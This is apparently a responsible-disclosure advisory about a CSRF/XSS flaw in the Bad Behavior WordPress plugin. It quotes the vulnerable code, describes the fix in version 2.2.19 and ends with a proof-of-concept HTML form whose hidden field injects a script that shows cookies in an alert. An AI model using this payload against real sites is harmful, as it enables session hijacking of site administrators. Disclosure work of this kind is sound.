Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Bad Behavior
We recently found that the Bad Behavior plugin contained a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on one of the plugin’s setting pages, /wp-admin/options-general.php?page=bb2_whitelist. The day after we notified the developer they released version 2.2.19, which fixed the issue.
The CSRF potion of the vulnerability was due to a lack of a nonce on the page.
For the XSS issue, in the file /bad-behavior-wordpress-admin.php starting at line 245 in version 2.2.18 settings were saved and there was no sanitization done:
245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 | if ($_POST) { $_POST = array_map('stripslashes_deep', $_POST); if ($_POST['ip']) { $whitelists['ip'] = array_filter(preg_split("/\s+/m", $_POST['ip'])); } else { $whitelists['ip'] = array(); } if ($_POST['url']) { $whitelists['url'] = array_filter(preg_split("/\s+/m", $_POST['url'])); } else { $whitelists['url'] = array(); } if ($_POST['useragent']) { $whitelists['useragent'] = array_filter(preg_split("/[\r\n]+/m", $_POST['useragent'])); } else { $whitelists['useragent'] = array(); } update_option('bad_behavior_whitelist', $whitelists); |
When the values are outputted on the page through the same file they were not escaped. For example, the value for “ip” was set on line 280:
<tr><td><label>IP address or CIDR format address ranges to be whitelisted (one per line)<br/><textarea cols="24" rows="6" name="ip"><?php echo implode("\n", $whitelists['ip']); ?></textarea></td></tr>
The variable $whitelists was set here:
234 | $whitelists = bb2_read_whitelist(); |
The function bb2_read_whitelist() was set in the file /bad-behavior-wordpress.php here:
99 100 101 | function bb2_read_whitelist() { return get_option('bad_behavior_whitelist'); } |
The issue was fixed in version 2.2.19 by adding a nonce to the settings page and checking if a valid one was included when a request to save the plugin’s settings was made, as well as escaping the settings on the page.
Proof of Concept
The following proof of concept will cause an alert box with any accessible cookies to be shown on the page. This will occur right after you hit the Submit button when using the Firefox web browser. Other major web browser have XSS filtering, so it will only be shown if you return to /wp-admin/options-general.php?page=bb2_whitelist after having submitted it.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/options-general.php?page=bb2_whitelist" method="POST"> <input type="hidden" name="ip" value="</textarea><script>alert(document.cookie);</script>" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- 8/24/2016 – Developer notified.
- 8/25/2016 – Version 2.2.19 released, which fixed the issue.